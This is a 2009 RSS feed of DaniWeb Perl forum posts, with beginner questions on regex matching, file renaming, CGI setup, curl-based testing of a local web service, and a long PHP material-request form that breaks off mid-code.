<?xml version="1.0" encoding="utf-8"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>DaniWeb IT Discussion Community - Perl</title>
		<link>http://www.daniweb.com/forums/</link>
		<description><![CDATA[Our Perl forum is the place for Q&A-style discussions related to this scripting language. Note that we also have a separate Shell Scripting forum within the Software Development category.]]></description>
		<language>en-US</language>
		<lastBuildDate>Sat, 21 Nov 2009 09:10:28 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://www.daniweb.com/alphaimages/misc/rss.jpg</url>
			<title>DaniWeb IT Discussion Community - Perl</title>
			<link>http://www.daniweb.com/forums/</link>
		</image>
		<item>
			<title>game question</title>
			<link>http://www.daniweb.com/forums/thread239899.html</link>
			<pubDate>Fri, 20 Nov 2009 00:10:48 GMT</pubDate>
			<description>has anyone made a craps game just using PERL scripting?</description>
			<content:encoded><![CDATA[<div>has anyone made a craps game just using PERL scripting?</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>rhodge09</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread239899.html</guid>
		</item>
		<item>
			<title>Get the maximum matched string!!!</title>
			<link>http://www.daniweb.com/forums/thread239396.html</link>
			<pubDate>Wed, 18 Nov 2009 08:52:57 GMT</pubDate>
			<description><![CDATA[Hi, 
 
I have a sentences like this: 
I have words like this: 
 
Example 1: 
 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680" class="thickbox" title="Help with Code Tags"...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
I have a sentences like this:<br />
I have words like this:<br />
<br />
Example 1:<br />
<br />
 <pre style="margin:20px; line-height:13px">$string=&quot;control&quot;;<br />
<br />
@arr= qw(Our data suggests that shape and growth control are unequally affected,The growth of tissue is control,The observed regulation is due to elevated levels in the blood,The sugar levels are in control and there is change in control of elevated levels in blood);</pre><br />
I want to retrieve the maximum matched sentence and that to be displayed first  (For example in 4th sentence control ($string) is occurred twice. I want to display that sentence first and next the lesser occurrence)<br />
<br />
Output should be like this:<br />
<br />
 <pre style="margin:20px; line-height:13px">The sugar levels are in control and there is change in control of elevated levels in blood<br />
The growth of tissue is control<br />
Our data suggests that shape and growth control are unequally affected<br />
The observed regulation is due to elevated levels in the blood</pre><br />
How can i display maximum occurred word in that sentence as first and next the lesser?<br />
<br />
To match a sentence i tried like this:<br />
<br />
 <pre style="margin:20px; line-height:13px">foreach $arr(@arr2)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp;  if($arr=~/\b$string\b/i)<br />
&nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  print &quot;&lt;br&gt;matched&lt;br&gt;&quot;;<br />
&nbsp; &nbsp; &nbsp;  }<br />
&nbsp;  }</pre><br />
<br />
Similarly if i have string like this:<br />
Example 2:<br />
 <pre style="margin:20px; line-height:13px">$string=&quot;shape,control,growth&quot;;</pre><br />
How can i get the maximum matched sentence in both cases i.e example 1 and example 2???<br />
<br />
Any suggestions??</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>Vandithar</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread239396.html</guid>
		</item>
		<item>
			<title>how to work cgi prgms on windows</title>
			<link>http://www.daniweb.com/forums/thread238088.html</link>
			<pubDate>Thu, 12 Nov 2009 18:46:39 GMT</pubDate>
			<description>hey can any1 pls tl me hw to work on cgi pgms on windows..m new to ds language,facin a prob durin connectin perl prog throu browser...hw to do dat</description>
			<content:encoded><![CDATA[<div>hey can any1 pls tl me hw to work on cgi pgms on windows..m new to ds language,facin a prob durin connectin perl prog throu browser...hw to do dat</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>pavan146</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread238088.html</guid>
		</item>
		<item>
			<title>Match phone number</title>
			<link>http://www.daniweb.com/forums/thread237522.html</link>
			<pubDate>Tue, 10 Nov 2009 17:52:52 GMT</pubDate>
			<description><![CDATA[Hi, 
 
I am trying to match phone numbers, and want only having format xxx-xxxx.  
 
Here is what i have written so far :  
 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680"...]]></description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
I am trying to match phone numbers, and want only having format xxx-xxxx. <br />
<br />
Here is what i have written so far : <br />
<br />
 <pre style="margin:20px; line-height:13px">sub OfficePhoneNumber<br />
{<br />
my @numbers = @_;<br />
my $number;<br />
my @results;<br />
foreach $number (@numbers)<br />
{<br />
if ($number =~ m/(^\d{3}-\d{4}$)/)<br />
{<br />
push @results, $number;<br />
}<br />
}<br />
<br />
return @results;<br />
} <br />
<br />
&amp;OfficePhoneNumber &quot;554-321,+1 302-342-2323&quot;;</pre><br />
Please suggest on this.<br />
<br />
Thanks, John</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>john_prince</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread237522.html</guid>
		</item>
		<item>
			<title>Find and Rename directory</title>
			<link>http://www.daniweb.com/forums/thread237500.html</link>
			<pubDate>Tue, 10 Nov 2009 15:22:28 GMT</pubDate>
			<description><![CDATA[Hi ! 
 
Sorry for my english ! 
 
My script must rename file name, but don't do it. 
 
What is wrong with this script: 
 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680"...]]></description>
			<content:encoded><![CDATA[<div>Hi !<br />
<br />
Sorry for my english !<br />
<br />
My script must rename file name, but don't do it.<br />
<br />
What is wrong with this script:<br />
<br />
 <pre style="margin:20px; line-height:13px">@rem = '--*-Perl-*--<br />
@echo off<br />
if &quot;%OS%&quot; == &quot;Windows_NT&quot; goto WinNT<br />
perl -x -S &quot;%0&quot; %1 %2 %3 %4 %5 %6 %7 %8 %9<br />
goto endofperl<br />
:WinNT<br />
perl -x -S %0 %*<br />
if NOT &quot;%COMSPEC%&quot; == &quot;%SystemRoot%\system32\cmd.exe&quot; goto endofperl<br />
if %errorlevel% == 9009 echo You do not have Perl in your PATH.<br />
if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2&gt;nul<br />
goto endofperl<br />
@rem ';<br />
#!/usr/bin/perl<br />
use warnings;<br />
use strict;<br />
use File::Path;<br />
use Cwd;<br />
use File::Copy;<br />
use File::Spec::Functions;<br />
#hardcoded <br />
my $FP = 'D:\conv';<br />
my $TP = 'D:\sgml_db';<br />
#my $NAME = 'mmc1';<br />
my ($from_file, $to_file) = ($ARGV[0], $ARGV[0]);<br />
my $cwd = `cd`;<br />
chomp $cwd;<br />
my ($from_dir, $to_dir) = ($cwd, $cwd);<br />
#rename file part<br />
#$to_file =~ s/.*\.(.+)/$NAME.$1/;<br />
my $some_file = (&lt;$to_dir&gt;)[0];<br />
my ($prefix) = $some_file =~ m/(\d+_\d+_\d+)[^\\]*$/;<br />
$to_file =~ s/^(\w+)(\d*)\.(\w+)$/&quot;$prefix_&quot; . uc($1) . ($2 || 0) . &quot;_ESM.$3&quot;/e;<br />
#rename dir part<br />
$to_dir =~ s/^\Q$FP\E/$TP/;<br />
mkpath($to_dir);<br />
copy(catfile($from_dir, $from_file), catfile($to_dir, $to_file)) <br />
&nbsp; &nbsp; or die &quot;can't copy file&quot;;<br />
exit 0;<br />
<br />
__END__<br />
:endofperl</pre></div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>viktorijakup</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread237500.html</guid>
		</item>
		<item>
			<title>Replace a string in perl</title>
			<link>http://www.daniweb.com/forums/thread237454.html</link>
			<pubDate>Tue, 10 Nov 2009 10:18:03 GMT</pubDate>
			<description><![CDATA[HI, 
 
I have a string like this. These are the set of phrases enclosed in double quotes: 
 
  <div class="codeblock"> <div class="spaced"> <div style="float:right; margin-right:10px"> <a href="/forums/misc.php?do=explaincode&amp;TB_iframe=true&amp;height=400&amp;width=680" class="thickbox" title="Help with...]]></description>
			<content:encoded><![CDATA[<div>HI,<br />
<br />
I have a string like this. These are the set of phrases enclosed in double quotes:<br />
<br />
 <pre style="margin:20px; line-height:13px">$str=&quot;\&quot;rna binding protein\&quot; OR \&quot;Transcription factor\&quot; &quot;;</pre><br />
I want to replace the string like this:<br />
<br />
 <pre style="margin:20px; line-height:13px">$str=&quot;\&quot;rna|(rna) binding protein\&quot; OR \&quot;Transcription|(Transcription) factor\&quot; &quot;;</pre><br />
How can i replace the above string to the new string format?<br />
<br />
I tried to use split function but could not get the desired output.<br />
<br />
How can  i get the output like this?<br />
<br />
 <pre style="margin:20px; line-height:13px">$str=&quot;\&quot;rna|(rna) binding protein\&quot; OR \&quot;Transcription|(Transcription) factor\&quot; &quot;;</pre><br />
<br />
Regards<br />
Vanditha</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>Vandithar</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread237454.html</guid>
		</item>
		<item>
			<title>suggestions for writing automation script</title>
			<link>http://www.daniweb.com/forums/thread237128.html</link>
			<pubDate>Mon, 09 Nov 2009 04:58:03 GMT</pubDate>
			<description><![CDATA[Hello, 
 
I have created a simple webservice and I am now in the testing mode. I am trying to write a simple script that will use curl to create user accounts and another one to delete user accounts. 
 
I have tried to use system to send curl commands 
 
my $cmd = "c:\\curl\\curl -X PUT -d...]]></description>
			<content:encoded><![CDATA[<div>Hello,<br />
<br />
I have created a simple webservice and I am now in the testing mode. I am trying to write a simple script that will use curl to create user accounts and another one to delete user accounts.<br />
<br />
I have tried to use system to send curl commands<br />
 <pre style="margin:20px; line-height:13px">my $cmd = &quot;c:\\curl\\curl -X PUT -d \&quot;user&#91;email&#93;=email$_\&quot; &quot;<br />
&nbsp;+ &quot;-d \&quot;user&#91;password&#93;=pass$_\&quot; &quot;<br />
&nbsp;+ &quot;http://localhost:3000/site/users/user$_&quot;;<br />
print &quot;create user failed\n&quot; if system($cmd);</pre><br />
I've also tried using backtick<br />
 <pre style="margin:20px; line-height:13px">$userResponses&#91;$_&#93; =<br />
&nbsp; `c:\\curl\\curl -u user$_ -X DELETE http://localhost:3000/site/users/user$_`;</pre><br />
BTW, I have been using curl to manually test the service because it supports all of the HTTP methods instead of just GET and POST.<br />
<br />
Anyway, the problem I am running into is that I can't figure out a way to interact with curl to provide the required password after sending a command that requires authorization. Is there a way to do this?<br />
<br />
Any help would be greatly appreciated. I am open to suggestions, including ones that that don't depend on curl.<br />
<br />
Thanks!</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>klactose</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread237128.html</guid>
		</item>
		<item>
			<title>matching and replacing workaround</title>
			<link>http://www.daniweb.com/forums/thread237008.html</link>
			<pubDate>Sun, 08 Nov 2009 16:25:11 GMT</pubDate>
			<description><![CDATA[I want to search "The tree is in the yard" for the word "the", then replace the word "the" with "<font color=#FFFFFF>the</font>", which I currently do with "s/$searchstring/<font color=#FFFFFF>$searchstring</font>/gi;" BUT I want to preserve the case of the word, so that in this example the first...]]></description>
			<content:encoded><![CDATA[<div>I want to search &quot;The tree is in the yard&quot; for the word &quot;the&quot;, then replace the word &quot;the&quot; with &quot;&lt;font color=#FFFFFF&gt;the&lt;/font&gt;&quot;, which I currently do with &quot;s/$searchstring/&lt;font color=#FFFFFF&gt;$searchstring&lt;/font&gt;/gi;&quot; BUT I want to preserve the case of the word, so that in this example the first word of the sentence would be white, but would have the capital T preserved. How can I do this?<br />
<br />
<br />
Thanks,<br />
Derek</div> ]]></content:encoded>
			<category domain="http://www.daniweb.com/forums/forum112.html">Perl</category>
			<dc:creator>derekn</dc:creator>
			<guid isPermaLink="true">http://www.daniweb.com/forums/thread237008.html</guid>
		</item>
		<item>
			<title>php coding</title>
			<link>http://www.daniweb.com/forums/thread236703.html</link>
			<pubDate>Sat, 07 Nov 2009 04:32:09 GMT</pubDate>
			<description><![CDATA[<?php  
session_start(); 
//Check User Session 
include ("includes/check_session.php"); 
 
include 'includes/config.php'; 
$current_module = 'MATERIALREQ'; 
//$related_modules = array('BIDDINGENTRY','PIRRAISING','POLIST','BIDDINGSELECTION','GRV'); 
include ('includes/check_acl.php');]]></description>
			<content:encoded><![CDATA[<div>&lt;?php <br />
session_start();<br />
//Check User Session<br />
include (&quot;includes/check_session.php&quot;);<br />
<br />
include 'includes/config.php';<br />
$current_module = 'MATERIALREQ';<br />
//$related_modules = array('BIDDINGENTRY','PIRRAISING','POLIST','BIDDINGSELECTION','GRV');<br />
include ('includes/check_acl.php');<br />
<br />
//include 'includes/config.php';<br />
include 'includes/sqlquery.php';<br />
include 'includes/message.php';<br />
$valid = '';<br />
<br />
$current_user_id = $_SESSION['associate_id'];	<br />
<br />
//if the session value is present, set whether the last transaction is stored or not<br />
if (isset($_SESSION['mrmsg']) &amp;&amp; ($_SESSION['mrmsg']!='')) <br />
{<br />
	$valid = $_SESSION['mrmsg'];<br />
	$last_mr_id = $_SESSION['last_mr_id'];<br />
	$_SESSION['mrmsg']=''; //clear it <br />
	$_SESSION['last_mr_id']=''; //clear it <br />
}<br />
<br />
if(!empty($_POST['hdn_total'])){<br />
try {<br />
		begin();<br />
		<br />
		if(!$acl['MATERIALREQ']['write']) throw new Exception(&quot;You don't have rights to do Material Request&quot;);<br />
		<br />
		$valid = 'failure';<br />
		//$getVal['MRNo']			= mysql_real_escape_string($_POST['txtMatReqNo']);<br />
		$getVal['MRDate'] 		= mysql_real_escape_string(DBdate($_POST['txtMatReqDate']));<br />
		$getVal['PreperdBy'] 	= mysql_real_escape_string($_POST['cmbRequestedBy']);		<br />
		$getVal['StoreNo']  	= mysql_real_escape_string($_POST['cmbStoreID']);<br />
		$getVal['RequiredAt']  	= mysql_real_escape_string($_POST['cmbRequiredAt']);		<br />
		$getVal['Remarks']		= mysql_real_escape_string($_POST['txtRemarks']);<br />
<br />
		<br />
		$getError	=	addMaterialReq($getVal);<br />
		<br />
		if(!empty($getError)) throw new Exception($getError);<br />
		<br />
		if(empty($getError)){<br />
			$getVal[&quot;MRNo&quot;] = mysql_insert_id();<br />
			$hdnId	=	explode(&quot;,&quot;, $_POST['hdn_total']);<br />
			$count	=	count($hdnId);<br />
			$j=1;<br />
			for($i=0;$i&lt;$count;$i++){<br />
				$getVal['ItemCode'.$j] 		= mysql_real_escape_string($_POST['ItemCode'.$j]);<br />
				$getVal['ItemName'.$j] 		= mysql_real_escape_string($_POST['ItemName'.$j]);<br />
				$getVal['Description'.$j] 	= mysql_real_escape_string($_POST['Description'.$j]);<br />
				$getVal['Quantity'.$j] 		= mysql_real_escape_string($_POST['Quantity'.$j]);<br />
				<br />
				$getError	=	addMaterialReqItems($getVal, $i);<br />
				if(!empty($getError)) throw new Exception($getError);<br />
				$j++;<br />
			}<br />
			$valid = 'success';	<br />
		}<br />
		<br />
		$_SESSION['mrmsg'] = $valid;<br />
		$_SESSION['last_mr_id'] = $getVal[&quot;MRNo&quot;];<br />
		commit();<br />
		//header(&quot;Location: materialrequest.php&quot;);<br />
		echo &quot;&lt;META HTTP-EQUIV='Refresh' CONTENT='0;materialrequest.php'&gt;&quot;;<br />
	}<br />
	catch(Exception $s)<br />
	{<br />
		rollback();				<br />
		$errmsg = $s-&gt;getMessage();	<br />
		myExceptionHandler($s);<br />
		$valid = false;<br />
	}<br />
}	<br />
?&gt;<br />
<br />
<br />
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;MintHome&lt;/title&gt;<br />
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&gt;<br />
&lt;script type=&quot;text/javascript&quot; src=&quot;javascripts/autosuggest.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;<br />
&lt;link href=&quot;css/style.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;<br />
&lt;link href=&quot;css/autosuggest_inquisitor.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; charset=&quot;utf-8&quot; /&gt;<br />
&lt;style type=&quot;text/css&quot;&gt;<br />
&lt;!--<br />
.style1 {color: #E78D2E}<br />
--&gt;<br />
&lt;/style&gt;<br />
<br />
<br />
&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;javascripts/datetimepicker_css.js&quot;&gt;<br />
&lt;/script&gt;<br />
<br />
&lt;script language=&quot;javascript&quot;&gt;<br />
<br />
function checkForm()<br />
{<br />
		return false;<br />
}<br />
<br />
 		function itemcode_checker()<br />
		{			<br />
			var invalid = false;<br />
			DGrid.setTotalRow();	<br />
			var rowNos = document.getElementById('hdn_total').value;	<br />
			indivRow = rowNos.split(',');<br />
			cnt_rows = indivRow.length;	<br />
			var cnt_itemTotalindb = itemIDS.length;<br />
			var itempresent_db = false;<br />
<br />
			for(i=0;i&lt;cnt_rows;i++)<br />
			{<br />
				itemcode_rowID = 'ItemCode'+indivRow[i];<br />
				itemcode_val = document.getElementById(itemcode_rowID).value;<br />
				if (itemcode_val != '')<br />
				{<br />
					itempresent_db = false;<br />
					for(j=0;j&lt;cnt_itemTotalindb;j++)<br />
					{<br />
						if (itemcode_val == itemIDS[j])<br />
						{<br />
							itempresent_db = true; <br />
							break;													<br />
						}<br />
					}<br />
<br />
					if (itempresent_db == false)<br />
					{<br />
						alert('Item Code Not Correctly Entered');	<br />
						document.getElementById(itemcode_rowID).focus();<br />
						break;<br />
					}<br />
				}<br />
			}<br />
			if (itempresent_db == false) return false;<br />
			return true;<br />
		}<br />
<br />
function validateGrid()<br />
{<br />
	var rowNos = document.getElementById('hdn_total').value;<br />
	//alert(rowNos);<br />
	indivRow = rowNos.split(',');<br />
	cnt_rows = indivRow.length;<br />
	atleast_oneitem = false;<br />
<br />
	for(i=0;i&lt;cnt_rows;i++)<br />
	{<br />
		itemcode_rowID = 'ItemCode'+indivRow[i];<br />
		itemqty_rowID = 'Quantity'+indivRow[i];<br />
		<br />
		itemcode_val = document.getElementById(itemcode_rowID).value;	<br />
		itemqty_val = document.getElementById(itemqty_rowID).value;	<br />
<br />
		if (itemqty_val &gt; 0 &amp;&amp; (itemcode_val == '' || itemcode_val &lt;= 0))<br />
		{<br />
			document.getElementById(itemcode_rowID).focus();	<br />
			alert('Enter Item code');<br />
			return false;<br />
		}<br />
<br />
<br />
		if (itemcode_val &gt; 0 &amp;&amp; (itemqty_val == '' || itemqty_val &lt;= 0))<br />
		{<br />
			document.getElementById(itemqty_rowID).focus();	<br />
			alert('Enter Item Code '+itemcode_val+': Quantity Level');<br />
			return false;<br />
		}<br />
<br />
		if (itemcode_val &gt; 0 &amp;&amp; itemqty_val &gt; 0)<br />
		{<br />
			atleast_oneitem = true;<br />
		}<br />
	}<br />
<br />
	//Check atleast one item is added to Grid<br />
	if (atleast_oneitem == false)<br />
	{<br />
		alert('No Items is added in the Grid to raise Purchase Indent');<br />
		itemcode_rowID = 'ItemCode'+indivRow[0];				<br />
		itemcode_val = document.getElementById(itemcode_rowID).value;	<br />
		return false;<br />
	}<br />
	return true;<br />
}<br />
<br />
function CompareDates()<br />
{<br />
   var str1  = document.getElementById(&quot;serverdate&quot;).value;<br />
   var str2  = document.getElementById(&quot;txtMatReqDate&quot;).value;<br />
   var date1 = str1.split(&quot;-&quot;, 3);<br />
   var dt1   = parseInt(date1[0]);<br />
   var mon1  = date1[1];<br />
 //  mon1 = parseInt(mon1);<br />
   var yr1   = parseInt(date1[2]);<br />
  // alert(dt1+&quot; &quot;+mon1+&quot; &quot;+yr1);<br />
   var date2 = str2.split(&quot;-&quot;, 3);<br />
   var dt2   = parseInt(date2[0]);<br />
   var mon2  = date2[1];<br />
 //  mon2 = parseInt(mon2);<br />
   var yr2   = parseInt(date2[2]);<br />
  // alert(dt2+&quot; &quot;+mon2+&quot; &quot;+yr2);<br />
   //var dt1   = parseInt(str1.substring(0,2),10);<br />
   //var mon1  = parseInt(str1.substring(3,5),10);<br />
   //var yr1   = parseInt(str1.substring(6,10),10);<br />
   //var dt2   = parseInt(str2.substring(0,2),10);<br />
   //var mon2  = parseInt(str2.substring(3,5),10);<br />
   //var yr2   = parseInt(str2.substring(6,10),10);<br />
   var date1 = new Date(yr1, mon1, dt1);<br />
   var date2 = new Date(yr2, mon2, dt2);<br />
<br />
   if(date2 &lt; date1)<br />
   {<br />
      alert(&quot;Request Date should be current or future date&quot;);<br />
	  document.getElementById(&quot;txtMatReqDate&quot;).focus();<br />
      return false;<br />
   }<br />
   return true;<br />
}<br />
<br />
function validateForm()<br />
{<br />
		valid = true;<br />
		<br />
		if ( document.MatReq_Form.txtMatReqDate.value == '')<br />
        {<br />
                alert ( &quot;Please Select PIR Transaction Date&quot; );<br />
				document.MatReq_Form.txtMatReqDate.focus();<br />
                return false;<br />
        }<br />
<br />
		if (!CompareDates()) return false;<br />
		<br />
        if ( document.MatReq_Form.cmbRequestedBy.selectedIndex &lt;= 0)<br />
        {<br />
                alert ( &quot;Please Select a Requested By User&quot; );<br />
				document.MatReq_Form.cmbRequestedBy.focus();<br />
                return false;<br />
        }<br />
        if ( document.MatReq_Form.cmbStoreID.selectedIndex &lt;= 0)<br />
        {<br />
                alert ( &quot;Please Select a Store name&quot; );<br />
				document.MatReq_Form.cmbStoreID.focus();<br />
                return false;<br />
        }<br />
        if ( document.MatReq_Form.cmbRequiredAt.selectedIndex &lt;= 0)<br />
        {<br />
                alert ( &quot;Please Select a Requested At&quot; );<br />
				document.MatReq_Form.cmbRequiredAt.focus();<br />
                return false;<br />
        }<br />
        if ( document.MatReq_Form.txtRemarks.value == '')<br />
        {<br />
                alert ( &quot;Please Enter Remarks&quot; );<br />
				document.MatReq_Form.txtRemarks.focus();<br />
                return false;<br />
        }<br />
		<br />
		DGrid.setTotalRow();<br />
<br />
		if (!itemcode_checker()) return false;<br />
		if (!validateGrid()) return false;<br />
		<br />
		document.MatReq_Form.action = &quot;materialrequest.php&quot;;<br />
		document.MatReq_Form.submit();<br />
		//location.href='materialapproval.php';<br />
		<br />
}<br />
<br />
function isNumberKey(evt)<br />
{<br />
 var charCode = (evt.which) ? evt.which : event.keyCode	<br />
 if (charCode &gt; 31 &amp;&amp; (charCode &lt; 48 || charCode &gt; 57) &amp;&amp; (charCode &lt; 96 || charCode &gt; 105))<br />
	{<br />
		if  (charCode &lt; 96 || charCode &gt; 105)<br />
		{<br />
			var keychar = String.fromCharCode(charCode);<br />
			reg = /\d/;<br />
			return reg.test(keychar);<br />
		}<br />
		return false;<br />
	}<br />
 return true;<br />
}<br />
<br />
function isNumberKey2(evt)<br />
{<br />
 var charCode = (evt.which) ? evt.which : event.keyCode	<br />
 if (charCode &gt; 31 &amp;&amp; (charCode &lt; 48 || charCode &gt; 57))<br />
	{<br />
		return false;<br />
	}<br />
 return true;<br />
}<br />
<br />
function checkForInvalid(obj)<br />
{<br />
	if( /[^0-9\-]|-{2,}/gi.test(obj.value) ) <br />
		{<br />
		  alert(&quot;Only Numbers Allowed !&quot;)<br />
		  obj.value=&quot;&quot;;<br />
		  obj.focus();<br />
		  obj.select();<br />
		  return false;<br />
	   }<br />
	return true;<br />
}<br />
<br />
function editpirForm()<br />
{<br />
window.location.href= (&quot;editmrlist.php&quot;);<br />
document.formname.submit();<br />
}<br />
<br />
&lt;/script&gt;<br />
<br />
&lt;/head&gt;<br />
&lt;body&gt; <br />
&lt;form name= &quot;MatReq_Form&quot; method=&quot;post&quot;  onsubmit=&quot;return checkForm();&quot;&gt; <br />
  &lt;div style=&quot;text-align:left; width:760px !important;&quot;&gt; <br />
   &lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; align=&quot;left&quot;&gt; <br />
     &lt;tr id=&quot;header&quot;&gt; <br />
      &lt;td width=&quot;481&quot;&gt; <br />
		&lt;?php include ('banner.php'); ?&gt;<br />
	  &lt;/td&gt; <br />
	  &lt;td width=&quot;519&quot; align=&quot;right&quot;&gt;	<br />
	 	&lt;?php include ('background.php'); ?&gt;<br />
	  &lt;/td&gt;<br />
     &lt;/tr&gt; <br />
	 &lt;tr&gt; <br />
	  &lt;td colspan=&quot;2&quot; valign=&quot;top&quot;&gt; <br />
		 &lt;table id=&quot;main&quot; width=&quot;1000&quot; height=&quot;333&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; align=&quot;left&quot;&gt; <br />
	    &lt;tr&gt; <br />
			&lt;td height=&quot;331&quot; valign=&quot;top&quot; id=&quot;leftside&quot;&gt;&lt;div class=&quot;box1&quot;&gt;&lt;?php include'leftmenu.php' ?&gt;&lt;/div&gt;<br />
            &lt;/td&gt;       <br />
			&lt;td valign=&quot;top&quot;&gt;<br />
   		&lt;table align=&quot;center&quot; &gt;<br />
  			&lt;tr&gt;<br />
  				  &lt;th scope=&quot;row&quot;&gt;&lt;font color=&quot;#000000&quot; size=&quot;2&quot;&gt;&lt;strong&gt;Material Request Screen&lt;/strong&gt;&lt;/font&gt;&lt;/th&gt;<br />
  			&lt;/tr&gt;<br />
		&lt;/table&gt;<br />
		&lt;br /&gt;<br />
		&lt;fieldset&gt;<br />
		&lt;table width=&quot;597&quot; border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;<br />
        	&lt;?php <br />
			if($valid!='')<br />
			{<br />
				if($valid=='failure') $Msg = &quot;FAIL&quot;;<br />
				if($valid=='success') $Msg = &quot;SUCCESS&quot;;				<br />
				if ($valid == 'success') <br />
				{<br />
				?&gt;<br />
					&lt;div align=&quot;center&quot; class=&quot;&lt;?php echo $Msg;?&gt;&quot; &gt;<br />
					&lt;?php echo $MRMessage['WARNNING'][&quot;MR&quot;.$Msg].&quot;, Your Request Number is &lt;strong&gt;&quot;.$last_mr_id.&quot;&lt;/strong&gt;&quot;;?&gt;&lt;/div&gt;<br />
				&lt;?php <br />
				}<br />
				else if ($valid == 'failure')<br />
				{	<br />
				?&gt;<br />
					&lt;div align=&quot;center&quot; class=&quot;&lt;?php echo $Msg;?&gt;&quot; &gt;<br />
					&lt;?php echo $MRMessage['WARNNING'][&quot;MR&quot;.$Msg];?&gt;&lt;/div&gt;<br />
				&lt;?php<br />
				}<br />
			} 	<br />
			?&gt;<br />
			&lt;?php if ($errmsg != '') { ?&gt;<br />
			&lt;div align=&quot;center&quot; class=&quot;FAIL&quot;&gt;<br />
				&lt;?php echo $errmsg;?&gt;<br />
			&lt;/div&gt;			<br />
			&lt;?php } ?&gt;<br />
        &lt;tr&gt;<br />
        <br />
&lt;?php /*?&gt;			&lt;td&gt;&lt;font size=&quot;2&quot;&gt;Material Request No&lt;/font&gt;&lt;/td&gt;<br />
			&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;txtMatReqNo&quot; id=&quot;txtMatReqNo&quot; value=&quot;&lt;?=$row['MRNO']?&gt;&quot; onkeypress=&quot;return isNumberKey2(event)&quot; onkeyup=&quot;checkForInvalid(this)&quot;&gt;&lt;/td&gt;&lt;?php */?&gt;<br />
			&lt;td&gt;&lt;font size=&quot;2&quot;&gt;Transaction Date&lt;/font&gt;&lt;/td&gt;<br />
			&lt;td&gt;&lt;p&gt;&lt;input type=&quot;text&quot; name=&quot;txtMatReqDate&quot; id=&quot;txtMatReqDate&quot; value=&quot;&lt;?php echo date('d-m-Y');?&gt;&quot; readonly onclick=&quot;alert('Click the image to change Date')&quot;&gt;<br />
          &lt;a href=&quot;javascript<b></b>:NewCssCal('txtMatReqDate','ddmmyyy','arrow')&quot;&gt;&lt;img src=&quot;images/cal.gif&quot; width=&quot;16&quot; height=&quot;16&quot; border=&quot;0&quot; alt=&quot;Pick a date&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td<br />
			&gt;<br />
			&lt;td&gt;&lt;font size=&quot;2&quot; color=&quot;&quot;&gt;Requested By&lt;/font&gt;&lt;/td&gt;<br />
            &lt;?php<br />
				$qry = &quot;select ASSOCIATEID,ASSOCIATENAME FROM associatemst WHERE STATUS = 1&quot;;<br />
				$result2 = mysql_query($qry);<br />
			?&gt;<br />
			&lt;td&gt;&lt;p&gt;&lt;select name=&quot;cmbRequestedBy&quot; readonly style=&quot;background-color:<br />
#ababab&quot; onFocus=&quot;this.blur(); return false;&quot;&gt; &lt;option&gt;Select Name&lt;/option&gt;<br />
			&lt;?php<br />
										<br />
				if (mysql_affected_rows()&gt;0)<br />
				{<br />
					while (list($k,$v) = mysql_fetch_array($result2))<br />
					{<br />
						$selected = ($current_user_id  == $k ) ? ' selected=&quot;selected&quot;' : '';<br />
						echo &quot;&lt;option value='&quot;.$k.&quot;' &quot;.$selected.&quot;&gt; (Id: $k) &quot;.$v.&quot;&lt;/option&gt;&quot;;	<br />
					}<br />
				}										<br />
			?&gt;<br />
